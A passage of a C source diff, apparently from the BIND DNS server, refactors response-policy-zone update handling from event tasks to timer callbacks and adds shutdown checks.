-	result = isc_timer_create(rpzs->timermgr, isc_timertype_inactive, NULL,
-				  NULL, rpzs->updater,
-				  dns_rpz_update_taskaction, zone,
-				  &zone->updatetimer);
+	result = dns__rpz_shuttingdown(rpzs);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup_timer;
+		return (result);
 	}
 
+	rpz = isc_mem_get(rpzs->mctx, sizeof(*rpz));
+	*rpz = (dns_rpz_zone_t){
+		.addsoa = true,
+		.magic = DNS_RPZ_ZONE_MAGIC,
+		.rpzs = rpzs,
+	};
+
 	/*
 	 * This will never be used, but costs us nothing and
-	 * simplifies update_from_db
+	 * simplifies update_from_db().
 	 */
 
-	result = isc_ht_init(&zone->nodes, rpzs->mctx, 1);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_ht;
-	}
-
-	dns_name_init(&zone->origin, NULL);
-	dns_name_init(&zone->client_ip, NULL);
-	dns_name_init(&zone->ip, NULL);
-	dns_name_init(&zone->nsdname, NULL);
-	dns_name_init(&zone->nsip, NULL);
-	dns_name_init(&zone->passthru, NULL);
-	dns_name_init(&zone->drop, NULL);
-	dns_name_init(&zone->tcp_only, NULL);
-	dns_name_init(&zone->cname, NULL);
-
-	isc_time_settoepoch(&zone->lastupdated);
-	zone->updatepending = false;
-	zone->updaterunning = false;
-	zone->db = NULL;
-	zone->dbversion = NULL;
-	zone->updb = NULL;
-	zone->updbversion = NULL;
-	zone->updbit = NULL;
-	isc_refcount_increment(&rpzs->irefs);
-	zone->rpzs = rpzs;
-	zone->db_registered = false;
-	zone->addsoa = true;
-	ISC_EVENT_INIT(&zone->updateevent, sizeof(zone->updateevent), 0, NULL,
-		       0, NULL, NULL, NULL, NULL, NULL);
-
-	zone->num = rpzs->p.num_zones++;
-	rpzs->zones[zone->num] = zone;
-
-	*rpzp = zone;
+	isc_ht_init(&rpz->nodes, rpzs->mctx, 1, ISC_HT_CASE_SENSITIVE);
 
-	return (ISC_R_SUCCESS);
+	dns_name_init(&rpz->origin, NULL);
+	dns_name_init(&rpz->client_ip, NULL);
+	dns_name_init(&rpz->ip, NULL);
+	dns_name_init(&rpz->nsdname, NULL);
+	dns_name_init(&rpz->nsip, NULL);
+	dns_name_init(&rpz->passthru, NULL);
+	dns_name_init(&rpz->drop, NULL);
+	dns_name_init(&rpz->tcp_only, NULL);
+	dns_name_init(&rpz->cname, NULL);
 
-cleanup_ht:
-	isc_timer_detach(&zone->updatetimer);
+	isc_time_settoepoch(&rpz->lastupdated);
 
-cleanup_timer:
-	isc_refcount_decrementz(&zone->refs);
-	isc_refcount_destroy(&zone->refs);
+	rpz->num = rpzs->p.num_zones++;
+	rpzs->zones[rpz->num] = rpz;
 
-	isc_mem_put(rpzs->mctx, zone, sizeof(*zone));
+	*rpzp = rpz;
 
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
 dns_rpz_dbupdate_callback(dns_db_t *db, void *fn_arg) {
-	dns_rpz_zone_t *zone = (dns_rpz_zone_t *)fn_arg;
-	isc_time_t now;
-	uint64_t tdiff;
+	dns_rpz_zone_t *rpz = (dns_rpz_zone_t *)fn_arg;
 	isc_result_t result = ISC_R_SUCCESS;
-	char dname[DNS_NAME_FORMATSIZE];
 
 	REQUIRE(DNS_DB_VALID(db));
-	REQUIRE(zone != NULL);
+	REQUIRE(DNS_RPZ_ZONE_VALID(rpz));
 
-	LOCK(&zone->rpzs->maint_lock);
+	LOCK(&rpz->rpzs->maint_lock);
+
+	if (rpz->rpzs->shuttingdown) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto unlock;
+	}
 
 	/* New zone came as AXFR */
-	if (zone->db != NULL && zone->db != db) {
+	if (rpz->db != NULL && rpz->db != db) {
 		/* We need to clean up the old DB */
-		if (zone->dbversion != NULL) {
-			dns_db_closeversion(zone->db, &zone->dbversion, false);
+		if (rpz->dbversion != NULL) {
+			dns_db_closeversion(rpz->db, &rpz->dbversion, false);
 		}
-		dns_db_updatenotify_unregister(zone->db,
-					       dns_rpz_dbupdate_callback, zone);
-		dns_db_detach(&zone->db);
+		dns_db_updatenotify_unregister(rpz->db,
+					       dns_rpz_dbupdate_callback, rpz);
+		dns_db_detach(&rpz->db);
 	}
 
-	if (zone->db == NULL) {
-		RUNTIME_CHECK(zone->dbversion == NULL);
-		dns_db_attach(db, &zone->db);
+	if (rpz->db == NULL) {
+		RUNTIME_CHECK(rpz->dbversion == NULL);
+		dns_db_attach(db, &rpz->db);
 	}
 
-	if (!zone->updatepending && !zone->updaterunning) {
-		zone->updatepending = true;
-		isc_time_now(&now);
-		tdiff = isc_time_microdiff(&now, &zone->lastupdated) / 1000000;
-		if (tdiff < zone->min_update_interval) {
-			uint64_t defer = zone->min_update_interval - tdiff;
-			isc_interval_t interval;
-			dns_name_format(&zone->origin, dname,
-					DNS_NAME_FORMATSIZE);
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-				      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
-				      "rpz: %s: new zone version came "
-				      "too soon, deferring update for "
-				      "%" PRIu64 " seconds",
-				      dname, defer);
-			isc_interval_set(&interval, (unsigned int)defer, 0);
-			dns_db_currentversion(zone->db, &zone->dbversion);
-			result = isc_timer_reset(zone->updatetimer,
-						 isc_timertype_once, NULL,
-						 &interval, true);
-			if (result != ISC_R_SUCCESS) {
-				goto cleanup;
-			}
-		} else {
-			isc_event_t *event;
-
-			dns_db_currentversion(zone->db, &zone->dbversion);
-			INSIST(!ISC_LINK_LINKED(&zone->updateevent, ev_link));
-			ISC_EVENT_INIT(&zone->updateevent,
-				       sizeof(zone->updateevent), 0, NULL,
-				       DNS_EVENT_RPZUPDATED,
-				       dns_rpz_update_taskaction, zone, zone,
-				       NULL, NULL);
-			event = &zone->updateevent;
-			isc_task_send(zone->rpzs->updater, &event);
-		}
+	if (!rpz->updatepending && !rpz->updaterunning) {
+		rpz->updatepending = true;
+
+		dns_db_currentversion(rpz->db, &rpz->dbversion);
+		dns__rpz_timer_start(rpz);
 	} else {
-		zone->updatepending = true;
-		dns_name_format(&zone->origin, dname, DNS_NAME_FORMATSIZE);
+		char dname[DNS_NAME_FORMATSIZE];
+		rpz->updatepending = true;
+
+		dns_name_format(&rpz->origin, dname, DNS_NAME_FORMATSIZE);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_DEBUG(3),
 			      "rpz: %s: update already queued or running",
 			      dname);
-		if (zone->dbversion != NULL) {
-			dns_db_closeversion(zone->db, &zone->dbversion, false);
+		if (rpz->dbversion != NULL) {
+			dns_db_closeversion(rpz->db, &rpz->dbversion, false);
 		}
-		dns_db_currentversion(zone->db, &zone->dbversion);
+		dns_db_currentversion(rpz->db, &rpz->dbversion);
 	}
 
-cleanup:
-	UNLOCK(&zone->rpzs->maint_lock);
+unlock:
+	UNLOCK(&rpz->rpzs->maint_lock);
 
 	return (result);
 }
 
-static void
-dns_rpz_update_taskaction(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	dns_rpz_zone_t *zone;
-
-	REQUIRE(event != NULL);
-	REQUIRE(event->ev_arg != NULL);
-
-	UNUSED(task);
-	zone = (dns_rpz_zone_t *)event->ev_arg;
-	isc_event_free(&event);
-	LOCK(&zone->rpzs->maint_lock);
-	zone->updatepending = false;
-	zone->updaterunning = true;
-	dns_rpz_update_from_db(zone);
-	result = isc_timer_reset(zone->updatetimer, isc_timertype_inactive,
-				 NULL, NULL, true);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	result = isc_time_now(&zone->lastupdated);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	UNLOCK(&zone->rpzs->maint_lock);
-}
-
-static isc_result_t
-setup_update(dns_rpz_zone_t *rpz) {
-	isc_result_t result;
-	char domain[DNS_NAME_FORMATSIZE];
-	unsigned int nodecount;
-	uint32_t hashsize;
+void
+dns_rpz_dbupdate_unregister(dns_db_t *db, dns_rpz_zone_t *rpz) {
+	REQUIRE(DNS_DB_VALID(db));
+	REQUIRE(DNS_RPZ_ZONE_VALID(rpz));
 
-	dns_name_format(&rpz->origin, domain, DNS_NAME_FORMATSIZE);
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
-		      ISC_LOG_INFO, "rpz: %s: reload start", domain);
+	dns_db_updatenotify_unregister(db, dns_rpz_dbupdate_callback, rpz);
+}
 
-	nodecount = dns_db_nodecount(rpz->updb);
-	hashsize = 1;
-	while (nodecount != 0 &&
-	       hashsize <= (DNS_RPZ_HTSIZE_MAX + DNS_RPZ_HTSIZE_DIV)) {
-		hashsize++;
-		nodecount >>= 1;
-	}
+void
+dns_rpz_dbupdate_register(dns_db_t *db, dns_rpz_zone_t *rpz) {
+	REQUIRE(DNS_DB_VALID(db));
+	REQUIRE(DNS_RPZ_ZONE_VALID(rpz));
 
-	if (hashsize > DNS_RPZ_HTSIZE_DIV) {
-		hashsize -= DNS_RPZ_HTSIZE_DIV;
-	}
+	dns_db_updatenotify_register(db, dns_rpz_dbupdate_callback, rpz);
+}
+static void
+dns__rpz_timer_start(dns_rpz_zone_t *rpz) {
+	uint64_t tdiff;
+	isc_interval_t interval;
+	isc_time_t now;
 
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
-		      ISC_LOG_DEBUG(1), "rpz: %s: using hashtable size %d",
-		      domain, hashsize);
+	REQUIRE(DNS_RPZ_ZONE_VALID(rpz));
 
-	result = isc_ht_init(&rpz->newnodes, rpz->rpzs->mctx, hashsize);
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-			      "rpz: %s: failed to initialize hashtable - %s",
-			      domain, isc_result_totext(result));
-		goto cleanup;
-	}
+	now = isc_time_now();
+	tdiff = isc_time_microdiff(&now, &rpz->lastupdated) / 1000000;
+	if (tdiff < rpz->min_update_interval) {
+		uint64_t defer = rpz->min_update_interval - tdiff;
+		char dname[DNS_NAME_FORMATSIZE];
 
-	result = dns_db_createiterator(rpz->updb, DNS_DB_NONSEC3, &rpz->updbit);
-	if (result != ISC_R_SUCCESS) {
+		dns_name_format(&rpz->origin, dname, DNS_NAME_FORMATSIZE);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-			      "rpz: %s: failed to create DB iterator - %s",
-			      domain, isc_result_totext(result));
-		goto cleanup;
-	}
-
-	result = dns_dbiterator_first(rpz->updbit);
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-			      "rpz: %s: failed to get db iterator - %s", domain,
-			      isc_result_totext(result));
-		goto cleanup;
-	}
-
-	result = dns_dbiterator_pause(rpz->updbit);
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-			      "rpz: %s: failed to pause db iterator - %s",
-			      domain, isc_result_totext(result));
-		goto cleanup;
+			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
+			      "rpz: %s: new zone version came "
+			      "too soon, deferring update for "
+			      "%" PRIu64 " seconds",
+			      dname, defer);
+		isc_interval_set(&interval, (unsigned int)defer, 0);
+	} else {
+		isc_interval_set(&interval, 0, 0);
 	}
 
-cleanup:
-	if (result != ISC_R_SUCCESS) {
-		if (rpz->updbit != NULL) {
-			dns_dbiterator_destroy(&rpz->updbit);
-		}
-		if (rpz->newnodes != NULL) {
-			isc_ht_destroy(&rpz->newnodes);
-		}
-		dns_db_closeversion(rpz->updb, &rpz->updbversion, false);
-	}
+	rpz->loop = isc_loop_current(rpz->rpzs->loopmgr);
 
-	return (result);
+	isc_timer_create(rpz->loop, dns__rpz_timer_cb, rpz, &rpz->updatetimer);
+	isc_timer_start(rpz->updatetimer, isc_timertype_once, &interval);
 }
 
 static void
-finish_update(dns_rpz_zone_t *rpz) {
-	LOCK(&rpz->rpzs->maint_lock);
-	rpz->updaterunning = false;
+dns__rpz_timer_stop(void *arg) {
+	dns_rpz_zone_t *rpz = arg;
+	REQUIRE(DNS_RPZ_ZONE_VALID(rpz));
 
-	/*
-	 * If there's an update pending, schedule it.
-	 */
-	if (rpz->updatepending) {
-		if (rpz->min_update_interval > 0) {
-			uint64_t defer = rpz->min_update_interval;
-			char dname[DNS_NAME_FORMATSIZE];
-			isc_interval_t interval;
-
-			dns_name_format(&rpz->origin, dname,
-					DNS_NAME_FORMATSIZE);
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-				      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
-				      "rpz: %s: new zone version came "
-				      "too soon, deferring update for "
-				      "%" PRIu64 " seconds",
-				      dname, defer);
-			isc_interval_set(&interval, (unsigned int)defer, 0);
-			isc_timer_reset(rpz->updatetimer, isc_timertype_once,
-					NULL, &interval, true);
-		} else {
-			isc_event_t *event = NULL;
-			INSIST(!ISC_LINK_LINKED(&rpz->updateevent, ev_link));
-			ISC_EVENT_INIT(&rpz->updateevent,
-				       sizeof(rpz->updateevent), 0, NULL,
-				       DNS_EVENT_RPZUPDATED,
-				       dns_rpz_update_taskaction, rpz, rpz,
-				       NULL, NULL);
-			event = &rpz->updateevent;
-			isc_task_send(rpz->rpzs->updater, &event);
-		}
-	}
-	UNLOCK(&rpz->rpzs->maint_lock);
+	isc_timer_stop(rpz->updatetimer);
+	isc_timer_destroy(&rpz->updatetimer);
+	rpz->loop = NULL;
+
+	dns_rpz_unref_rpzs(rpz->rpzs);
 }
 
 static void
-cleanup_quantum(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result = ISC_R_SUCCESS;
-	char domain[DNS_NAME_FORMATSIZE];
-	dns_rpz_zone_t *rpz = NULL;
-	isc_ht_iter_t *iter = NULL;
-	dns_fixedname_t fname;
-	dns_name_t *name = NULL;
-	int count = 0;
-
-	UNUSED(task);
-
-	REQUIRE(event != NULL);
-	REQUIRE(event->ev_sender != NULL);
-
-	rpz = (dns_rpz_zone_t *)event->ev_sender;
-	iter = (isc_ht_iter_t *)event->ev_arg;
-	isc_event_free(&event);
-
-	if (iter == NULL) {
-		/*
-		 * Iterate over old ht with existing nodes deleted to
-		 * delete deleted nodes from RPZ
-		 */
-		result = isc_ht_iter_create(rpz->nodes, &iter);
-		if (result != ISC_R_SUCCESS) {
-			dns_name_format(&rpz->origin, domain,
-					DNS_NAME_FORMATSIZE);
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-				      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
-				      "rpz: %s: failed to create HT "
-				      "iterator - %s",
-				      domain, isc_result_totext(result));
-			goto cleanup;
-		}
-	}
+update_rpz_done_cb(void *data) {
+	dns_rpz_zone_t *rpz = (dns_rpz_zone_t *)data;
+	char dname[DNS_NAME_FORMATSIZE];
 
-	name = dns_fixedname_initname(&fname);
+	REQUIRE(DNS_RPZ_ZONE_VALID(rpz));
 
 	LOCK(&rpz->rpzs->maint_lock);
+	rpz->updaterunning = false;
 
-	/* Check that we aren't shutting down. */
-	if (rpz->rpzs->zones[rpz->num] == NULL) {
-		UNLOCK(&rpz->rpzs->maint_lock);
-		goto cleanup;
-	}
-
-	for (result = isc_ht_iter_first(iter);
-	     result == ISC_R_SUCCESS && count++ < DNS_RPZ_QUANTUM;
-	     result = isc_ht_iter_delcurrent_next(iter))
-	{
-		isc_region_t region;
-		unsigned char *key = NULL;
-		size_t keysize;
-
-		isc_ht_iter_currentkey(iter, &key, &keysize);
-		region.base = key;
-		region.length = (unsigned int)keysize;
-		dns_name_fromregion(name, &region);
-		dns_rpz_delete(rpz->rpzs, rpz->num, name);
-	}
-
-	if (result == ISC_R_SUCCESS) {
-		isc_event_t *nevent = NULL;
-
-		/*
-		 * We finished a quantum; trigger the next one and return.
-		 */
-
-		INSIST(!ISC_LINK_LINKED(&rpz->updateevent, ev_link));
-		ISC_EVENT_INIT(&rpz->updateevent, sizeof(rpz->updateevent), 0,
-			       NULL, DNS_EVENT_RPZUPDATED, cleanup_quantum,
-			       iter, rpz, NULL, NULL);
-		nevent = &rpz->updateevent;
-		isc_task_send(rpz->rpzs->updater, &nevent);
-		UNLOCK(&rpz->rpzs->maint_lock);
-		return;
-	} else if (result == ISC_R_NOMORE) {
-		isc_ht_t *tmpht = NULL;
+	dns_name_format(&rpz->origin, dname, DNS_NAME_FORMATSIZE);
 
-		/*
-		 * Done with cleanup of deleted nodes; finalize
-		 * the update.
-		 */
-		tmpht = rpz->nodes;
-		rpz->nodes = rpz->newnodes;
-		rpz->newnodes = tmpht;
-
-		UNLOCK(&rpz->rpzs->maint_lock);
-		finish_update(rpz);
-		dns_name_format(&rpz->origin, domain, DNS_NAME_FORMATSIZE);
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
-			      "rpz: %s: reload done", domain);
-	} else {
-		UNLOCK(&rpz->rpzs->maint_lock);
+	if (rpz->updatepending && !rpz->rpzs->shuttingdown) {
+		/* Restart the timer */
+		dns__rpz_timer_start(rpz);
 	}
 
-	/*
-	 * If we're here, we're finished or something went wrong.
-	 */
-cleanup:
-	if (iter != NULL) {
-		isc_ht_iter_destroy(&iter);
-	}
-	if (rpz->newnodes != NULL) {
-		isc_ht_destroy(&rpz->newnodes);
-	}
 	dns_db_closeversion(rpz->updb, &rpz->updbversion, false);
 	dns_db_detach(&rpz->updb);
-	rpz_detach(&rpz);
-}
 
-static void
-update_quantum(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result = ISC_R_SUCCESS;
-	dns_dbnode_t *node = NULL;
-	dns_rpz_zone_t *rpz = NULL;
-	char domain[DNS_NAME_FORMATSIZE];
-	dns_fixedname_t fixname;
-	dns_name_t *name = NULL;
-	isc_event_t *nevent = NULL;
-	int count = 0;
+	UNLOCK(&rpz->rpzs->maint_lock);
 
-	UNUSED(task);
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
+		      ISC_LOG_INFO, "rpz: %s: reload done: %s", dname,
+		      isc_result_totext(rpz->updateresult));
 
-	REQUIRE(event != NULL);
-	REQUIRE(event->ev_arg != NULL);
+	dns_rpz_unref_rpzs(rpz->rpzs);
+}
 
-	rpz = (dns_rpz_zone_t *)event->ev_arg;
-	isc_event_free(&event);
+static isc_result_t
+update_nodes(dns_rpz_zone_t *rpz, isc_ht_t *newnodes) {
+	isc_result_t result;
+	dns_dbiterator_t *updbit = NULL;
+	dns_name_t *name = NULL;
+	dns_fixedname_t fixname;
+	char domain[DNS_NAME_FORMATSIZE];
 
-	REQUIRE(rpz->updbit != NULL);
-	REQUIRE(rpz->newnodes != NULL);
+	dns_name_format(&rpz->origin, domain, DNS_NAME_FORMATSIZE);
 
 	name = dns_fixedname_initname(&fixname);
 
-	dns_name_format(&rpz->origin, domain, DNS_NAME_FORMATSIZE);
-
-	LOCK(&rpz->rpzs->maint_lock);
+	result = dns_db_createiterator(rpz->updb, DNS_DB_NONSEC3, &updbit);
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
+			      "rpz: %s: failed to create DB iterator - %s",
+			      domain, isc_result_totext(result));
+		return (result);
+	}
 
-	/* Check that we aren't shutting down. */
-	if (rpz->rpzs->zones[rpz->num] == NULL) {
-		UNLOCK(&rpz->rpzs->maint_lock);
+	result = dns_dbiterator_first(updbit);
+	if (result != ISC_R_SUCCESS && result != ISC_R_NOMORE) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
+			      "rpz: %s: failed to get db iterator - %s", domain,
+			      isc_result_totext(result));
 		goto cleanup;
 	}
 
-	while (result == ISC_R_SUCCESS && count++ < DNS_RPZ_QUANTUM) {
+	while (result == ISC_R_SUCCESS) {
 		char namebuf[DNS_NAME_FORMATSIZE];
 		dns_rdatasetiter_t *rdsiter = NULL;
+		dns_dbnode_t *node = NULL;
 
-		result = dns_dbiterator_current(rpz->updbit, &node, name);
+		result = dns__rpz_shuttingdown(rpz->rpzs);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
+		}
+
+		result = dns_dbiterator_current(updbit, &node, name);
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
 				      "rpz: %s: failed to get dbiterator - %s",
 				      domain, isc_result_totext(result));
-			dns_db_detachnode(rpz->updb, &node);
-			break;
+			goto cleanup;
 		}
 
+		result = dns_dbiterator_pause(updbit);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
 		result = dns_db_allrdatasets(rpz->updb, node, rpz->updbversion,
-					     0, &rdsiter);
+					     0, 0, &rdsiter);
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
@@ -1981,12 +1773,15 @@ update_quantum(isc_task_t *task, isc_event_t *event) {
 				      "rrdatasets - %s",
 				      domain, isc_result_totext(result));
 			dns_db_detachnode(rpz->updb, &node);
-			break;
+			goto cleanup;
 		}
 
 		result = dns_rdatasetiter_first(rdsiter);
+
 		dns_rdatasetiter_destroy(&rdsiter);
-		if (result != ISC_R_SUCCESS) { /* empty non-terminal */
+		dns_db_detachnode(rpz->updb, &node);
+
+		if (result != ISC_R_SUCCESS) { /* skip empty non-terminal */
 			if (result != ISC_R_NOMORE) {
 				isc_log_write(
 					dns_lctx, DNS_LOGCATEGORY_GENERAL,
@@ -1995,14 +1790,13 @@ update_quantum(isc_task_t *task, isc_event_t *event) {
 					"rdatasetiter",
 					domain, isc_result_totext(result));
 			}
-			dns_db_detachnode(rpz->updb, &node);
-			result = dns_dbiterator_next(rpz->updbit);
-			continue;
+			goto next;
 		}
 
 		dns_name_downcase(name, name, NULL);
-		result = isc_ht_add(rpz->newnodes, name->ndata, name->length,
-				    rpz);
+
+		/* Add entry to the new nodes table */
+		result = isc_ht_add(newnodes, name->ndata, name->length, rpz);
 		if (result != ISC_R_SUCCESS) {
 			dns_name_format(name, namebuf, sizeof(namebuf));
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
@@ -2010,131 +1804,186 @@ update_quantum(isc_task_t *task, isc_event_t *event) {
 				      "rpz: %s, adding node %s to HT error %s",
 				      domain, namebuf,
 				      isc_result_totext(result));
-			dns_db_detachnode(rpz->updb, &node);
-			result = dns_dbiterator_next(rpz->updbit);
-			continue;
+			goto next;
 		}
 
+		/* Does the entry exist in the old nodes table? */
 		result = isc_ht_find(rpz->nodes, name->ndata, name->length,
 				     NULL);
-		if (result == ISC_R_SUCCESS) {
+		if (result == ISC_R_SUCCESS) { /* found */
 			isc_ht_delete(rpz->nodes, name->ndata, name->length);
-		} else { /* not found */
-			result = dns_rpz_add(rpz->rpzs, rpz->num, name);
-			if (result != ISC_R_SUCCESS) {
-				dns_name_format(name, namebuf, sizeof(namebuf));
-				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-					      DNS_LOGMODULE_MASTER,
-					      ISC_LOG_ERROR,
-					      "rpz: %s: adding node %s "
-					      "to RPZ error %s",
-					      domain, namebuf,
-					      isc_result_totext(result));
-			} else {
-				dns_name_format(name, namebuf, sizeof(namebuf));
-				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-					      DNS_LOGMODULE_MASTER,
-					      ISC_LOG_DEBUG(3),
-					      "rpz: %s: adding node %s", domain,
-					      namebuf);
-			}
+			goto next;
 		}
 
-		dns_db_detachnode(rpz->updb, &node);
-		result = dns_dbiterator_next(rpz->updbit);
-	}
-
-	if (result == ISC_R_SUCCESS) {
 		/*
-		 * Pause the iterator so that the DB is not locked.
+		 * Only the single rpz updates are serialized, so we need to
+		 * lock here because we can be processing more updates to
+		 * different rpz zones at the same time
 		 */
-		dns_dbiterator_pause(rpz->updbit);
-
-		/*
-		 * We finished a quantum; trigger the next one and return.
-		 */
-		INSIST(!ISC_LINK_LINKED(&rpz->updateevent, ev_link));
-		ISC_EVENT_INIT(&rpz->updateevent, sizeof(rpz->updateevent), 0,
-			       NULL, DNS_EVENT_RPZUPDATED, update_quantum, rpz,
-			       rpz, NULL, NULL);
-		nevent = &rpz->updateevent;
-		isc_task_send(rpz->rpzs->updater, &nevent);
+		LOCK(&rpz->rpzs->maint_lock);
+		result = rpz_add(rpz, name);
 		UNLOCK(&rpz->rpzs->maint_lock);
-		return;
-	} else if (result == ISC_R_NOMORE) {
-		/*
-		 * Done with the new database; now we just need to
-		 * clean up the old.
-		 */
-		dns_dbiterator_destroy(&rpz->updbit);
-
-		INSIST(!ISC_LINK_LINKED(&rpz->updateevent, ev_link));
-		ISC_EVENT_INIT(&rpz->updateevent, sizeof(rpz->updateevent), 0,
-			       NULL, DNS_EVENT_RPZUPDATED, cleanup_quantum,
-			       NULL, rpz, NULL, NULL);
-		nevent = &rpz->updateevent;
-		isc_task_send(rpz->rpzs->updater, &nevent);
+
+		if (result != ISC_R_SUCCESS) {
+			dns_name_format(name, namebuf, sizeof(namebuf));
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+				      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
+				      "rpz: %s: adding node %s "
+				      "to RPZ error %s",
+				      domain, namebuf,
+				      isc_result_totext(result));
+		} else if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+			dns_name_format(name, namebuf, sizeof(namebuf));
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+				      DNS_LOGMODULE_MASTER, ISC_LOG_DEBUG(3),
+				      "rpz: %s: adding node %s", domain,
+				      namebuf);
+		}
+
+	next:
+		result = dns_dbiterator_next(updbit);
+	}
+	INSIST(result != ISC_R_SUCCESS);
+	if (result == ISC_R_NOMORE) {
+		result = ISC_R_SUCCESS;
+	}
+
+cleanup:
+	dns_dbiterator_destroy(&updbit);
+
+	return (result);
+}
+
+static isc_result_t
+cleanup_nodes(dns_rpz_zone_t *rpz) {
+	isc_result_t result;
+	isc_ht_iter_t *iter = NULL;
+	dns_name_t *name = NULL;
+	dns_fixedname_t fixname;
+
+	name = dns_fixedname_initname(&fixname);
+
+	isc_ht_iter_create(rpz->nodes, &iter);
+
+	for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;
+	     result = isc_ht_iter_delcurrent_next(iter))
+	{
+		isc_region_t region;
+		unsigned char *key = NULL;
+		size_t keysize;
+
+		result = dns__rpz_shuttingdown(rpz->rpzs);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+
+		isc_ht_iter_currentkey(iter, &key, &keysize);
+		region.base = key;
+		region.length = (unsigned int)keysize;
+		dns_name_fromregion(name, &region);
+
+		LOCK(&rpz->rpzs->maint_lock);
+		rpz_del(rpz, name);
 		UNLOCK(&rpz->rpzs->maint_lock);
-		return;
+	}
+	INSIST(result != ISC_R_SUCCESS);
+	if (result == ISC_R_NOMORE) {
+		result = ISC_R_SUCCESS;
 	}
 
-	/*
-	 * If we're here, something went wrong, so clean up.
-	 */
-	UNLOCK(&rpz->rpzs->maint_lock);
+	isc_ht_iter_destroy(&iter);
 
-cleanup:
-	if (rpz->updbit != NULL) {
-		dns_dbiterator_destroy(&rpz->updbit);
+	return (result);
+}
+
+static isc_result_t
+dns__rpz_shuttingdown(dns_rpz_zones_t *rpzs) {
+	bool shuttingdown = false;
+
+	LOCK(&rpzs->maint_lock);
+	shuttingdown = rpzs->shuttingdown;
+	UNLOCK(&rpzs->maint_lock);
+
+	if (shuttingdown) {
+		return (ISC_R_SHUTTINGDOWN);
 	}
-	if (rpz->newnodes != NULL) {
-		isc_ht_destroy(&rpz->newnodes);
+
+	return (ISC_R_SUCCESS);
+}
+
+static void
+update_rpz_cb(void *data) {
+	dns_rpz_zone_t *rpz = (dns_rpz_zone_t *)data;
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_ht_t *newnodes = NULL;
+
+	REQUIRE(rpz->nodes != NULL);
+
+	result = dns__rpz_shuttingdown(rpz->rpzs);
+	if (result != ISC_R_SUCCESS) {
+		goto shuttingdown;
 	}
-	dns_db_closeversion(rpz->updb, &rpz->updbversion, false);
-	dns_db_detach(&rpz->updb);
-	rpz_detach(&rpz);
+
+	isc_ht_init(&newnodes, rpz->rpzs->mctx, 1, ISC_HT_CASE_SENSITIVE);
+
+	result = update_nodes(rpz, newnodes);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+
+	result = cleanup_nodes(rpz);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+
+	/* Finalize the update */
+	ISC_SWAP(rpz->nodes, newnodes);
+
+cleanup:
+	isc_ht_destroy(&newnodes);
+
+shuttingdown:
+	rpz->updateresult = result;
 }
 
 static void
-dns_rpz_update_from_db(dns_rpz_zone_t *rpz) {
-	isc_result_t result;
-	isc_event_t *event;
+dns__rpz_timer_cb(void *arg) {
+	char domain[DNS_NAME_FORMATSIZE];
+	dns_rpz_zone_t *rpz = (dns_rpz_zone_t *)arg;
 
-	REQUIRE(rpz != NULL);
